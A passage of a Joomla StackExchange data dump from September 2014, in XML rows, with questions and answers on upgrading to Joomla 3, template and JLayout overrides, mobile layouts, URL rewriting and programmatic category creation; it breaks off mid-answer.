  <row Id="4380" PostTypeId="5" CreationDate="2014-09-09T12:31:23.753" Score="0" Body="&lt;p&gt;ZOO is a flexible and powerful Content Construction Kit (CCK) to manage content.&#xA;It allows to create custom Content Types by creating Zoo Apps.&#xA;The free version comes bundled with 2 apps, while there is a commercial version that comes with a support subscription that provide more ready-to use apps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Zoo is developed by &lt;a href=&quot;http://yootheme.com/zoo/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;YooTheme&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Zoo Main Features:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create multiple app instances - Each one manages its own content like&#xA;items and categories.&lt;/li&gt;&#xA;&lt;li&gt;ZOO provides a clean design with a JavaScript powered user interface&#xA;to manage apps.&lt;/li&gt;&#xA;&lt;li&gt;Create your very own custom content types to fit exactly your&#xA;requirements.&lt;/li&gt;&#xA;&lt;li&gt;Choose from a rich set of elements like forms, images, videos,&#xA;ratings and more.&lt;/li&gt;&#xA;&lt;li&gt;Arrange your content via drag &amp;#039;n drop by assigning elements to&#xA;layout positions.&lt;/li&gt;&#xA;&lt;li&gt;Extend categories with custom fields and sort them using drag &amp;#039;n&#xA;drop.&lt;/li&gt;&#xA;&lt;li&gt;The slick comment system supports Akismet, Gravatar, Twitter and&#xA;Facebook Connect.&lt;/li&gt;&#xA;&lt;li&gt;Adding tags is a breeze with text suggestion, auto completion and&#xA;multiple selections.&lt;/li&gt;&#xA;&lt;li&gt;Use our form builder to let your users submit content via the&#xA;frontend of your website!&lt;/li&gt;&#xA;&lt;li&gt;Trusted authors can review and edit their created content directly&#xA;from the frontend.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="159" LastEditorUserId="126" LastEditDate="2015-06-04T17:25:19.263" LastActivityDate="2015-06-04T17:25:19.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4381" PostTypeId="4" CreationDate="2014-09-09T12:31:23.753" Score="0" Body="ZOO is a flexible and powerful Content Construction Kit (CCK) to manage your content." OwnerUserId="159" LastEditorUserId="159" LastEditDate="2014-09-09T12:31:23.753" LastActivityDate="2014-09-09T12:31:23.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4383" PostTypeId="2" ParentId="4378" CreationDate="2014-09-09T14:35:18.583" Score="1" Body="&lt;p&gt;I just had to change the Default/Teaser template settings , and add Ratings &lt;img src=&quot;https://i.stack.imgur.com/svlBv.png&quot; alt=&quot;ratings&quot;&gt;.&#xA;Now we can see the ratings above pictures directly from the main page : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9skPk.png&quot; alt=&quot;RATINGS&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1859" LastActivityDate="2014-09-09T14:35:18.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4384" PostTypeId="1" AcceptedAnswerId="4386" CreationDate="2014-09-09T15:19:27.560" Score="8" ViewCount="335" Body="&lt;p&gt;I've seen a number of posts &lt;a href=&quot;https://joomla.stackexchange.com/questions/160/when-to-move-to-a-new-major-release&quot;&gt;here&lt;/a&gt; and in Joomla's &lt;a href=&quot;http://docs.joomla.org/Joomla_3_FAQ&quot; rel=&quot;nofollow noreferrer&quot;&gt;docs&lt;/a&gt; about upgrading. I'd like to upgrade to Joomla 3.3. But have seen conflicting posts of 3.4 &lt;a href=&quot;http://developer.joomla.org/news/583-announcing-joomla-cms-3-4.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;coming&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm on Joomla 2.5. My questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;EOL for Joomla 2.5 says Dec 2014. Does that still apply?&lt;/li&gt;&#xA;&lt;li&gt;I do want to take advantage of some features on J3 but I have no urgency (depending on #1). Do I wait for 3.4 or do I start with 3.3? Keeping in mind I don't want to mess with something that is working great right now.&lt;/li&gt;&#xA;&lt;li&gt;When is 3.4 coming out? If at all?&lt;/li&gt;&#xA;&lt;li&gt;I've got a ton of custom components and plug-ins. I used to have a link that showed me some differences when updating these from J2-&gt;J3. Anyone know of a list showing things that are deprecated or replaced?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="83" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2014-09-09T16:13:50.823" Title="When to upgrade to Joomla 3" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4385" PostTypeId="2" ParentId="4384" CreationDate="2014-09-09T16:08:01.647" Score="4" Body="&lt;p&gt;As of now Joomla 3.3.x is recommended for all new installs, as you currently have a Joomla 2.5.x site (I'm assuming it will be 2.5.24), you could start planning for an upgrade to 3.3.x&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla 2.5.x End of life is December 31st, 2014, this date is set and will remain as the end of life for this release.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla 3.3.x end of life will be once 3.4 is released. Currently the release date of 3.4 is September 15th 2014.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is alot of changes between 2.5.x and 3.3.x, so you'd need to thoroughly test your extensions and custom components to ensure they are compatible with 3.x&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the upgrade type, from 2.5, it is a one-click update of the core to 3.x&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check this for the Joomla Roadmap &lt;a href=&quot;http://developer.joomla.org/cms/roadmap.html&quot; rel=&quot;nofollow&quot;&gt;http://developer.joomla.org/cms/roadmap.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="294" LastActivityDate="2014-09-09T16:08:01.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4386" PostTypeId="2" ParentId="4384" CreationDate="2014-09-09T16:13:50.823" Score="5" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Yes, the EOL will still apply, meaning Joomla 2.5 as a CMS will no longer be supported. Some extension and template developers may carry on supporting it for longer as there will be a hellish amount of people still on J2.5.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Personally I would probably wait for 3.4, however you may want to take a  backup your site, put it on a localhost or subdomain, migrate to J3.3 then when 3.4 is released, it will be a simple 1 click update with no code changes required.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I'm not sure on the exact release date of 3.4 as there always seem to be delays with releases these days. The stable released should have been out 2 months ago so I've no idea what is going on. Most likely some last bug fixes or additional features being added.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There is a documentation page that  shows the differences for J3.x: &lt;a href=&quot;http://docs.joomla.org/Potential_backward_compatibility_issues_in_Joomla_3_and_Joomla_Platform_12.2&quot;&gt;http://docs.joomla.org/Potential_backward_compatibility_issues_in_Joomla_3_and_Joomla_Platform_12.2&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Sorry there isnt as much detail in this as you may need, however I'm abroad and on the mobile, but hope this helps. &lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-09-09T16:13:50.823" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4387" PostTypeId="2" ParentId="4379" CreationDate="2014-09-09T16:27:39.917" Score="3" Body="&lt;p&gt;You can fill the from like below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;label for=&quot;airport&quot;&amp;gt;Airport:&amp;lt;/label&amp;gt;&#xA;&amp;lt;select id=&quot;airport&quot; name=&quot;airport&quot;&amp;gt;&#xA;    &amp;lt;option selected=&quot;selected&quot; value=&quot;A&quot;&amp;gt;Any Airport&amp;lt;/option&amp;gt;&#xA;&amp;lt;?php&#xA;foreach ($results as $result)&#xA;{&#xA;    echo &quot;&amp;lt;option value='{$result-&amp;gt;dep}'&amp;gt;{$result-&amp;gt;dep}&amp;lt;/option&amp;gt;&quot;;&#xA;}&#xA;?&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then process the form regularly or by an AJAX method.&lt;/p&gt;&#xA;" OwnerUserId="1520" LastActivityDate="2014-09-09T16:27:39.917" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="4388" PostTypeId="1" CreationDate="2014-09-09T17:25:29.723" Score="3" ViewCount="1767" Body="&lt;p&gt;OK so I'm trying to create an alternative menu item layout and it doesn't seem to be working. I'm using the latest version of Joomla 2.5. What I did:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;created folder structure: mytemplate/html/com_content/categories/&lt;/li&gt;&#xA;&lt;li&gt;copied default categories view files from components/com_content/views/categories/tmpl/ and renamed them to features.php, features.xml, features_items.php&lt;/li&gt;&#xA;&lt;li&gt;changed the title in features.xml&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;When I change something in features.php or features_items.php it doesn't work but if I rename them to default or if I just change the core files then it works. Does anyone have any idea why this doesn't appear to be working? I know about the priority thing that says that menu layouts will override the article and category layouts but this isn't a category layout, it's a part of the content component that just lists categories. Also, I've noticed that if I change the layout for a specific category then it actually overrides the menu layout so the priority doesn't apply then.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I doing something wrong or how can I create an alternative layout for this particular component part?&lt;/p&gt;&#xA;" OwnerUserId="1880" LastEditorUserId="159" LastEditDate="2014-09-09T19:38:12.697" LastActivityDate="2014-09-09T22:08:12.683" Title="List All Categories (com_content/views/categories) alternative layout not working" Tags="|joomla-2.5|template-override|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4389" PostTypeId="2" ParentId="4388" CreationDate="2014-09-09T20:33:19.907" Score="0" Body="&lt;p&gt;In order to override the default.php layout, the files in the HTML folder need to be named the same as the ones you want to override. You can't override the XML file, only the php files.&lt;/p&gt;&#xA;" OwnerUserId="294" LastActivityDate="2014-09-09T20:33:19.907" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4391" PostTypeId="1" CreationDate="2014-09-09T20:44:11.887" Score="1" ViewCount="127" Body="&lt;p&gt;I have a module with a few text input fields. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;menu a&#xA;menu b&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also have two menu types, each for different sections of the site. Is it possible based on which menu type the module is assigned to to determine which field is shown in the Joomla admin?&lt;/p&gt;&#xA;" OwnerUserId="19" LastEditorUserId="19" LastEditDate="2014-09-10T14:59:05.223" LastActivityDate="2014-09-10T14:59:05.223" Title="Hiding and showing fields based on menu item" Tags="|module|menu|administrator|module-params|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4392" PostTypeId="2" ParentId="4388" CreationDate="2014-09-09T22:08:12.683" Score="1" Body="&lt;p&gt;What you are doing should work, and your folder/file structure looks fine. I just tested it in Joomla 2.5. The name you entered in your XML file should appear as a new Menu Item Type:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Viblm.jpg&quot; alt=&quot;Custom categories layout&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;XML file (part)&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;metadata&amp;gt;&#xA;    &amp;lt;layout title=&quot;Custom Categories view&quot; option=&quot;This view is created with an override&quot;&amp;gt;&#xA;        &amp;lt;help&#xA;            key = &quot;JHELP_MENUS_MENU_ITEM_ARTICLE_CATEGORIES&quot;&#xA;        /&amp;gt;&#xA;        &amp;lt;message&amp;gt;&#xA;            This view is created with an override&#xA;        &amp;lt;/message&amp;gt;&#xA;    &amp;lt;/layout&amp;gt;&#xA;    ....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are a couple of errors you can look for:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Make sure all files use the same name scheme (&lt;code&gt;features&lt;/code&gt; or &lt;code&gt;feature&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Check that you have copied the correct files from the correct folder (&lt;code&gt;components\com_content\views\categories&lt;/code&gt;, not &lt;code&gt;components\com_content\views\category&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Make sure the XML file contains a unique name.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-09-09T22:08:12.683" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4393" PostTypeId="1" AcceptedAnswerId="4396" CreationDate="2014-09-09T23:33:14.267" Score="2" ViewCount="246" Body="&lt;p&gt;I'm upgrading a site to Joomla 3.3, and making some structural changes to the content. Currently, the article images are displayed inside the articles with normal &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tags, but I'd like to change to using the intro- and full-image settings in each article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to somehow extract the images from the articles and place them in the correct fields by quering the database (or maybe there is an extension for this?)&lt;/p&gt;&#xA;" OwnerUserId="1723" LastActivityDate="2014-09-10T13:24:44.597" Title="Batch processing articles in database" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4394" PostTypeId="1" CreationDate="2014-09-10T10:30:14.723" Score="1" ViewCount="137" Body="&lt;p&gt;Is there some effective way how to turn the complete site into lightweight mobile version (&lt;em&gt;without creation of special mobile sub-site&lt;/em&gt;) where&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;tags on page are reduced only to small subset like &lt;code&gt;&amp;lt;a&amp;gt;, &amp;lt;img&amp;gt;, &amp;lt;p&amp;gt;, &amp;lt;strong&amp;gt;, &amp;lt;i&amp;gt;, &amp;lt;u&amp;gt;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;there is a switch &lt;code&gt;mobile version | standard version&lt;/code&gt; at page footer&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="324" LastActivityDate="2014-09-10T15:31:07.860" Title="How to turn the site to lightweight mobile version?" Tags="|mobile-web-design|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4395" PostTypeId="2" ParentId="4394" CreationDate="2014-09-10T12:11:22.950" Score="1" Body="&lt;p&gt;This is a very big question. The simplest approach is to implement &lt;strong&gt;responsive technologies&lt;/strong&gt; that can work on several devices at the same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla 3 has a basic Bootstrap-based template, you can create your own template (implementing any Fluid framework, like Foundation), or you can start with one of the latest templates from a well-known provider.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For specific topics, like &quot;how to deliver different images&quot;, there are several techniques. This JAB presentation is very illustrative:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Right-sizing Images - Mixing Responsive and Adaptive Techniques&lt;/strong&gt;&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=8WLoOFqC1NA&amp;amp;index=30&amp;amp;list=PLSwFVRVZ3joTo3InkU_FT65_AK8dQiyZ4&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=8WLoOFqC1NA&amp;amp;index=30&amp;amp;list=PLSwFVRVZ3joTo3InkU_FT65_AK8dQiyZ4&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-09-10T12:11:22.950" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4396" PostTypeId="2" ParentId="4393" CreationDate="2014-09-10T13:24:44.597" Score="1" Body="&lt;p&gt;Yes, it's possible, but only developing a custom script. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can only know the general internal article structure (... the exceptions), instantiate the DOM tree, re-organize and save the new article.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-09-10T13:24:44.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4397" PostTypeId="1" CreationDate="2014-09-10T13:27:58.617" Score="2" ViewCount="95" Body="&lt;p&gt;All media on my website is placed in the folder 'images'. All PDFs are placed in 'images/PDFs'. Now I would like to rewrite the URL such that it looks like the PDFs are in the folder 'downloads', which they're not. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Summarized:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Original URL: &#xA;'mywebsite.com/images/PDFs/NAMEPDF.pdf' &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rewritten URL: &#xA;'mywebsite.com/downloads/PDFs/NAMEPDF.pdf' &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried it with MOD rewrite, but this doesn't work: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{THE_REQUEST} ^GET\ /images/&#xA;RewriteRule ^images/(.*) /downloads/$1 [L,R]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does somebody knows how to do this?&lt;/p&gt;&#xA;" OwnerUserId="192" LastEditorUserId="1629" LastEditDate="2014-09-10T13:47:08.427" LastActivityDate="2014-09-11T01:59:24.590" Title="Change folder name in URL" Tags="|sef|url|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4398" PostTypeId="2" ParentId="4391" CreationDate="2014-09-10T13:30:35.943" Score="2" Body="&lt;p&gt;You can detect the Browser (mobile or not) to show the fields. For example: Android, Blackberry, IE Mobile, iPad, iPhone, iPod Touch, NetFront, Nokia, Opera Mini, Opera Mobile, UC Browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find a handy detection routine in NoNumber's Advanced Module Manager.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-09-10T13:30:35.943" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4399" PostTypeId="2" ParentId="4394" CreationDate="2014-09-10T15:31:07.860" Score="0" Body="&lt;p&gt;You could look at &lt;a href=&quot;http://www.mobilejoomla.com/&quot; rel=&quot;nofollow&quot;&gt;www.mobilejoomla.com&lt;/a&gt; they seem to specialise in this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to their website they claim;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Mobile Joomla! is the best way to display your Joomla! site on iPhone,&#xA;  iPad, Android &amp;amp; more w/ up to 4x better performance compared to&#xA;  responsive and other mobile templates.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A full list of their features is available &lt;a href=&quot;http://www.mobilejoomla.com/mobile-joomla-features.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I personally don't have eny experience with them so I can't comment, however others may be able to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They offer custom templates as well as a &lt;code&gt;mobile version&lt;/code&gt; and &lt;code&gt;standard version&lt;/code&gt; button links as you have requested. May be worth a look.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2014-09-10T15:31:07.860" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4400" PostTypeId="1" AcceptedAnswerId="4401" CreationDate="2014-09-10T15:56:52.637" Score="3" ViewCount="2238" Body="&lt;p&gt;In Joomla 3.x we can use the JLayout class to override the files located in &#xA;ROOT/layouts folder &lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to this doc&#xA;&lt;a href=&quot;http://docs.joomla.org/J3.x:JLayout_Improvements_for_Joomla&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/J3.x:JLayout_Improvements_for_Joomla&lt;/a&gt;!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;all we need to do is add something like this;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        $layout = new JLayoutFile('joomla.edit.frontediting_modules'); &#xA;        $layout-&amp;gt;addIncludePaths(YJSGPATH .'includes/html/layouts');&#xA;&#xA;        print_r($layout);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This snippet is added in my system plugin in onAfterRoute function. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the array looks fine and points to the right direction&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLayoutFile Object&#xA;(&#xA;    [layoutId:protected] =&amp;gt; joomla.edit.frontediting_modules&#xA;    [basePath:protected] =&amp;gt; &#xA;    [fullPath:protected] =&amp;gt; &#xA;    [includePaths:protected] =&amp;gt; Array&#xA;        (&#xA;            [0] =&amp;gt; D:\wamp\www\Development\Yjsgv2-DEV\3x\plugins\system\yjsg\includes/html/layouts&#xA;            [1] =&amp;gt; D:\wamp\www\Development\Yjsgv2-DEV\3x/templates/creatus/html/layouts&#xA;            [2] =&amp;gt; D:\wamp\www\Development\Yjsgv2-DEV\3x/layouts&#xA;        )&#xA;&#xA;    [options:protected] =&amp;gt; Joomla\Registry\Registry Object&#xA;        (&#xA;            [data:protected] =&amp;gt; stdClass Object&#xA;                (&#xA;                    [component] =&amp;gt; &#xA;                    [client] =&amp;gt; 0&#xA;                )&#xA;&#xA;        )&#xA;&#xA;    [debugMessages:protected] =&amp;gt; Array&#xA;        (&#xA;        )&#xA;&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and file frontediting_modules.php is located in my folder &#xA;&lt;a href=&quot;http://prntscr.com/4lijlf&quot; rel=&quot;nofollow&quot;&gt;http://prntscr.com/4lijlf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but the override is not happening. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I removed the call for bootstrap popover and tooltips &#xA;&lt;a href=&quot;http://prntscr.com/4lijz3&quot; rel=&quot;nofollow&quot;&gt;http://prntscr.com/4lijz3&lt;/a&gt;&#xA;just to test it but it does not work &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if I move the override folder to my template html folder the override works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone please advise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="200" LastEditorUserId="159" LastEditDate="2014-09-10T16:46:00.297" LastActivityDate="2016-12-22T16:39:16.903" Title="How to override layout files properly" Tags="|joomla-3.x|template-override|jlayout|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4401" PostTypeId="2" ParentId="4400" CreationDate="2014-09-10T17:10:42.053" Score="5" Body="&lt;p&gt;The &lt;code&gt;addIncludePaths&lt;/code&gt; call only affects that particular instance of the &lt;code&gt;$layout&lt;/code&gt; variable. Unless you are also rendering the layout in the plugin, your code will have no effect on the actual rendering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like you are trying to affect this line from the document renderer:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLayoutHelper::render('joomla.edit.frontediting_modules', $displayData);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This uses the JLayoutHelper's render method which will instantiate a new instance of &lt;code&gt;JLayoutFile&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static function render($layoutFile, $displayData = null, $basePath = '', $options = null)&#xA;{&#xA;    $basePath = empty($basePath) ? self::$defaultBasePath : $basePath;&#xA;&#xA;    // Make sure we send null to JLayoutFile if no path set&#xA;    $basePath = empty($basePath) ? null : $basePath;&#xA;    $layout = new JLayoutFile($layoutFile, $basePath, $options);&#xA;    $renderedLayout = $layout-&amp;gt;render($displayData);&#xA;&#xA;    return $renderedLayout;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To do what you are trying to do, you would have to get your line (&lt;code&gt;$layout-&amp;gt;addIncludePaths(YJSGPATH .'includes/html/layouts');&lt;/code&gt;) in between the &lt;code&gt;$layout&lt;/code&gt; setting and the render call within this method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since that would involve editing the core code, you will likely want to avoid it. However, there does not appear to be a way to do what you are trying to do in the CMS (yet!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a very new piece of the CMS, so this will likely be an option in the future, but it just isn't there yet. &lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-09-10T17:10:42.053" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4402" PostTypeId="1" AcceptedAnswerId="4403" CreationDate="2014-09-10T17:51:10.157" Score="3" ViewCount="493" Body="&lt;p&gt;While writing an import script, I need to create categories for the data, and am successfully accomplishing that with the below code.  However, I can't determine how set the &lt;code&gt;created_user_id&lt;/code&gt; column of the table.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The script is not logging in, but the &lt;code&gt;created_user_id&lt;/code&gt; is always ignored, creating the category record with 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt; Originally asked about &lt;code&gt;path&lt;/code&gt;, but added -&gt;rebuildPath()` - still no luck with the created_user_id&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function createCategory( $title, $parent_id, $note=null ) {&#xA;    $table = JTable::getInstance('category');&#xA;    $data = array();&#xA;    $data['title'] = $title;&#xA;    $data['parent_id'] = $parent_id;&#xA;    $data['extension'] = 'com_content';&#xA;    $data['published'] = 1;&#xA;    $data['created_user_id'] = 123456;&#xA;    $table-&amp;gt;setLocation($data['parent_id'], 'last-child');&#xA;    $table-&amp;gt;bind($data);&#xA;    if ($table-&amp;gt;check()) {&#xA;        $table-&amp;gt;store();&#xA;        $table-&amp;gt;rebuildPath($table-&amp;gt;id);&#xA;        // Success&#xA;    } else {&#xA;        // Error&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2014-09-10T22:07:11.467" LastActivityDate="2014-09-19T02:35:41.340" Title="How to programmatically set 'created_by' when creating a new category" Tags="|development|mvc|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4403" PostTypeId="2" ParentId="4402" CreationDate="2014-09-10T18:20:33.230" Score="2" Body="&lt;p&gt;To get around the problem, we used $app-&gt;login() before saving.  This seemed to be the cleanest answer for our situation, as a great number of other category and content items were being added at the same time.&lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2014-09-19T02:35:41.340" LastActivityDate="2014-09-19T02:35:41.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4404" PostTypeId="2" ParentId="4400" CreationDate="2014-09-10T23:04:27.203" Score="2" Body="&lt;p&gt;OK , found a workaround since we are already extending few classes I managed to extend the &#xA;JLayoutFile class and add my path in between layout and template/html/layout&lt;/p&gt;&#xA;&#xA;&lt;p&gt;via this method&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/205/how-to-override-core-classes/324#324&quot;&gt;How to override core classes?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://prntscr.com/4ln5dt&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://prntscr.com/4ln5dt&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so the array now reads&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLayoutFile Object&#xA;(&#xA;    [layoutId:protected] =&amp;gt; joomla.edit.frontediting_modules&#xA;    [basePath:protected] =&amp;gt; &#xA;    [fullPath:protected] =&amp;gt; &#xA;    [includePaths:protected] =&amp;gt; Array&#xA;        (&#xA;            [0] =&amp;gt; D:\wamp\www\Development\Yjsgv2-DEV\3x/templates/creatus/html/layouts&#xA;            [1] =&amp;gt; D:\wamp\www\Development\Yjsgv2-DEV\3x\plugins\system\yjsg\includes/html/layouts&#xA;            [2] =&amp;gt; D:\wamp\www\Development\Yjsgv2-DEV\3x/layouts&#xA;        )&#xA;&#xA;    [options:protected] =&amp;gt; Joomla\Registry\Registry Object&#xA;        (&#xA;            [data:protected] =&amp;gt; stdClass Object&#xA;                (&#xA;                    [component] =&amp;gt; &#xA;                    [client] =&amp;gt; 0&#xA;                )&#xA;&#xA;        )&#xA;&#xA;    [debugMessages:protected] =&amp;gt; Array&#xA;        (&#xA;        )&#xA;&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And checks &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;layouts  &lt;/li&gt;&#xA;&lt;li&gt;my_plugin/layouts  &lt;/li&gt;&#xA;&lt;li&gt;template/html/layouts&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;it would be great if we can just do 